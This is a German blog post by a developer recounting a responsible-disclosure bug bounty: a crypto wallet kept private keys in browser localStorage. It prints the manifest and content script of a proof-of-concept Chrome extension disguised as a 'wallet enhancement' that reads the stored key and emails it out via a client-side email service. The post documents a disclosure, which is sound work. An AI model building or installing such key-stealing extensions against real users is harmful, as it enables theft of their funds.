paint-brush
Wie ich eine Sicherheitslücke in einem Krypto-Wallet entdeckte und 1.000 Dollar verdientevon@akrisanov
614 Lesungen
614 Lesungen

Wie ich eine Sicherheitslücke in einem Krypto-Wallet entdeckte und 1.000 Dollar verdiente

von Andrey Krisanov4m2023/10/25
Read on Terminal Reader

Zu lang; Lesen

👉🏻 Tipp für Anwendungsentwickler: Seien Sie sich der von Ihnen verwendeten Technologien und deren Sicherheitsaspekte bewusst. 💡 Rat für Krypto-Benutzer: Informieren Sie sich, welche Sicherheitsoptionen Ihnen eine Organisation bietet, aktivieren Sie die Zwei-Faktor-Authentifizierung, sobald Sie ein Wallet-Konto erstellen, und speichern Sie nicht Ihr gesamtes Geld in Hot Wallets.
featured image - Wie ich eine Sicherheitslücke in einem Krypto-Wallet entdeckte und 1.000 Dollar verdiente
Andrey Krisanov HackerNoon profile picture
0-item
1-item
2-item

Im Januar 2022 bin ich der Community einer der Proof-of-Stake-Blockchains beigetreten. Um mit den Angeboten des Protokolls und seines Ökosystems zu experimentieren, habe ich auf der offiziellen Website https://wallet.****.org ein Wallet-Konto erstellt. Abgesehen von der allgemeinen Neugier interessierte mich auch, wie sie Sicherheit in einem Browser erreichen, insbesondere im Zeitalter von Erweiterungen und clientseitigen Schwachstellen.


Es stellte sich heraus, dass die Wallet-Anwendung (in React integriert) bei der Anmeldung eines Benutzers einen Satz öffentlicher und privater Schlüssel generierte und diese im lokalen Speicher des Browsers speicherte. Aufgrund meiner Erfahrung beim Aufbau von Authentifizierung und Autorisierung in verteilten Systemen wusste ich, dass dies nicht die beste Vorgehensweise war – im Allgemeinen ist es für eine Browsererweiterung und clientseitigen Code einfach, Daten aus dem lokalen Speicher zu lesen[ 1 ].


Um dies zu beweisen, habe ich beschlossen, eine einfache Erweiterung für Chrome zu schreiben , die Schlüssel aus dem Browser eines Opfers abruft und sie an meine anonyme E-Mail-Adresse sendet.


Das Stammverzeichnis meiner Pickpocket-Erweiterung sah so aus:


 . ├── content.js ├── email.min.js ├── index.html └── manifest.json


Die Hauptdateien sind manifest.json und content.js . Ersteres ist für die Installation der Erweiterung unerlässlich.


 { "name": "X Wallet Enhancement", "version": "1.0", "manifest_version": 3, "content_scripts": [ { "matches": [ "https://wallet.****.org/*" ], "js": [ "email.min.js", "content.js" ] } ] }


email.min.js ist lediglich eine Client-Bibliothek von einem der Cloud-Dienste, mit der Sie E-Mails direkt von einem Browser aus ohne Servercode senden können. index.html ist eine leere HTML-Seite, die nichts anzeigt. Die Wallet-Hijacking-Logik befand sich in der Datei content.js :


 emailjs.init('user_****'); // instantiating an email delivery service let templateParams = { // gathering information about the victim's browser from_name: navigator.userAgent, // fetching wallet keys from the local storage storage: window.localStorage.getItem('_*:wallet:active_account_id_**'), }; // using a prepared email template to send an email with keys const serviceID = 'service_****'; const templateID = 'template_****'; emailjs.send(serviceID, templateID, templateParams) .then(() => { console.log("Wallet keys were send!"); }, (err) => { console.error(JSON.stringify(err)); });

Ja, so ein Dummy-Skript.


Ich habe alle vier Dateien in ein Zip-Archiv gepackt und meinen Freund, der auch ein Wallet unter https://wallet.***.org hatte, freundlich gebeten, meine Kreation in seinem Browser zu installieren (unter dem Vorwand, etwas Social Engineering zu betreiben). Zuvor erzählte ich ihm von meinen Erkenntnissen und der Theorie, die ich zu beweisen versuchte. Er half mir gerne und die öffentlichen und privaten Schlüssel dieses Wallet-Kontos erschienen wenige Sekunden nach der Installation der Browser-Erweiterung in meinem Posteingang. Als nächstes habe ich die Schlüssel zum lokalen Speicher in meinem Browser gespeichert und die Wallet-Website geöffnet.


Überraschenderweise stand mir das Krypto-Wallet-Guthaben meines Freundes zur Verfügung, zusammen mit der Option, das Geld abzuheben. Während eines Zoom-Anrufs mit dem Freund meines Opfers überwies ich einen Teil seines Geldes auf ein anonymes Konto und zurück. Es war umwerfend! Eine neue, vielversprechende Blockchain, die kürzlich eine Investitionsrunde abgeschlossen hatte, wies eine große Schwachstelle in ihrem Wallet auf. Das Schlimmste war, dass sie eine 2-Faktor-Authentifizierung für Benutzer hatten. Natürlich würden nicht viele Leute es sofort aktivieren, und viele taten es auch nicht.


Als ethischer Entwickler habe ich einen Schwachstellenbericht erstellt, der den Quellcode der Browsererweiterung und meine Gedanken zur Verbesserung der Sicherheit der Webanwendung enthält. Es wurde am 18. Januar direkt an die E-Mail-Adresse des Sicherheitsteams gesendet. Ein paar Tage später hatte ich einen Anruf beim CISO des Blockchain-Protokolls, der mir versicherte, dass er sich des Problems bewusst sei und es in der nächsten Version beheben würde. Ich war ein wenig enttäuscht von der Geschwindigkeit, mit der auf den Vorfall reagiert wurde. Zwei Tage sind eine Ewigkeit, wenn man über das Geld der Nutzer spricht. Dennoch gewährten mir die Blockchain-Entwickler ihre Token in Höhe von umgerechnet 1000 USDT.


👉🏻 Tipp für Anwendungsentwickler: Seien Sie sich der von Ihnen verwendeten Technologien und deren Sicherheitsaspekte bewusst.


💡 Rat für Krypto-Benutzer: Informieren Sie sich, welche Sicherheitsoptionen Ihnen eine Organisation bietet, aktivieren Sie die Zwei-Faktor-Authentifizierung, sobald Sie ein Wallet-Konto erstellen, und speichern Sie nicht Ihr gesamtes Geld in Hot Wallets.


Lesenswert


Auch hier veröffentlicht.